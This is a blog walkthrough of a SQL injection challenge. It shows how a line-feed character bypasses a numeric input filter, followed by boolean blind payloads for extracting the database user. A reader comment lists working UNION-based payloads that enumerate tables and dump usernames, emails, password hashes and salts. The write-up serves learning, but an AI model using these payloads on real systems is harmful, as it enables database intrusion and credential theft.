Solving RogueCoder’s SQLi challenge

So I’m hanging around on #vulnhub (freenode) when RogueCoder silently drops a SQLi challenge, which you can find here:

http://ethax.secnet.org/challenges/sqli-01.php?id=1

At first I ignored it since well I’m usually not that big a fan of challenges. Mostly because they are not realistic or because they require you to solve them how the author intends them to be solved. After a while though I decided to give it a try (due to Slurpgeit nagging me to do it together) and well this was one of the more fun SQLi challenges that I’ve done. It was realistic and RogueCoder didn’t impose any “correct solution”. If you hadn’t noticed yet this post will give away the solution, only read on if you have already solved it or if you want to spoil the challenge for yourself.

Now instead of firing up our favorite tool, let’s first understand how the challenge works. When you perform the first request with ID set to 1 you’ll get the following response:

Oracle hates @miss_sudo
Username: shp0ngl3
Email: some@email.com

Now that seems like a normal response, let’s try non existing IDs like -1, 0 or 99999 in all cases I’m just assuming they don’t exist, but you have to start somewhere right? There are two very distinct responses:

Response to id=-1

Oracle hates @miss_sudo
Nice try!

Response to id=0 or id=99999

Oracle hates @miss_sudo

Hmm interesting, just to be sure I also checked the raw response instead of just the browser representation. I mean you never know when some html/javascript might be giving away goodies right? For the ones wondering who miss_sudo is, please read her latest pretty awesome oracle vulnerability on her blog.

The line that caught my eye was “Nice try!” this seems to indicate that some kind of hack detection is in place. Let’s try and see if we can determine what kind of protection is in place:

Several requests with ‘,”,\,%00,\’,\”,\\ all ended in the same message. Which led me to believe that only numbers are accepted, which in turn made me think that would be really weird since it would be almost unsolvable. Let’s go back to basics and see what happens if we do a request with id=02:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

So that works, let’s try adding a ‘a’ behind it or enclose it in brackets like ‘(02)’:

Oracle hates @miss_sudo
Nice try!

Now this seems more like it, although you now might wonder why? Well because we now are pretty sure that indeed there is some filter in place that only seems to accept numbers. This is pretty important information if you eventually want to use any of the available SQL injection tools. One of the characters that we have not tested yet, but is actually pretty important is the space character, so let’s do a request with id=0 2:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

Fun! Why? Because it tells us that spaces are not immediately rejected but probably replaced by nothing. Depending on the SQL injection point this can be really useful to bypass filters by splitting payloads up, in this case not so much though.  So this is the point where we start thinking about how the programmer might have implemented this and try to think of the defenses he might have used.

I didn’t get that chance though, since I was doing it together with Slurpgeit he had already gone through the list of possible characters and had identified a character ‘%OA’ (line feed) that was allowed, since issuing the request id=2%0a produces:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

You might be saying but I see no difference with a request that just does id=2, in this case that’s a good thing. Since it’s a line feed and it produces the same result as a valid request. To really know if this is the magical character we are looking for let’s try a bit of SQL magic with the following requests:

id=2%OA%2bif(1=0,1,2)

Oracle hates @miss_sudo

id=2%0A%2bif(1=1,1,2)

Oracle hates @miss_sudo
Username: user
Email: user@sqli.com

Excellent! We just solved the SQLi challenge. Our first request evaluates to false and thus adds 2 to the id resulting in a total of 4 which is an id with no information associated, our second request evaluates to true and thus adding 1 to the id resulting in a total of 3 which is an id with information associated. I decided to retrieve the current database user with the user() function the “clumsy” way:

id=2%0A%2bif(substring(user(),1,1)=’a’,1,2)

Using that request as a template I used Burp Intruder with the “cluster bomb” payload type to cycle through every possible combination to find the current user.

Slurpgeit will probably respond to this blog post with a more efficient way of retrieving information and RogueCoder will do a whole blog post on this challenge including source and a more in depth explanation of the filters and why the ‘%OA’ characters works to bypass them.

Hope you enjoyed this quickly written walk through and I hope that the big take away is that before using SQL injection tools it really really really helps to have solved it manually and actually understanding the why’s and how’s.

Finally i’d like to thank RogueCoder for making this challenge, Slurpgeit for convincing me to do it and #vulnhub for being an awesome channel :)

5 thoughts on “Solving RogueCoder’s SQLi challenge”

  1. Nice post mate :) And well done on the challenge! Like you mentioned, manual beats tools. This was also proven considering people were going on for 5 days straight using tools, and you solved it manually within 30 minutes!

    Great job and thanks for participating!

  2. Here we go. Just pasting some raw notes here, but these payloads should work :)

    Check if it works:
    0%0a)union/**/select/**/null,null,version(),null,null%23

    Get stuff like current user, db:
    0%0a)union/**/select/**/null,null,user(),null,null%23
    0%0a)union/**/select/**/null,null,schema(),null,null%23

    Get table names for current db:
    0%0a)%0dunion/**/select/**/null,null,table_name,null,null/**/from/**/information_schema.tables/**/where/**/table_schema=schema()%23

    Get column names for both the “users” and “insults” table:
    0%0a)union/**/select/**/null,null,column_name,null,null/**/from/**/information_schema.columns/**/where/**/table_schema=schema()/**/and/**/table_name=’users’%23
    0%0a)union/**/select/**/null,null,column_name,null,null/**/from/**/information_schema.columns/**/where/**/table_schema=schema()/**/and/**/table_name=’insults’%23

    Get all data from both the “users” and “insults” table:
    0%0a)union/**/select/**/null,null,concat_ws(‘:’,id,username,email,password,salt),null,null/**/from/**/users%23
    0%0a)union/**/select/**/null,null,insult,null,null/**/from/**/insults%23

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: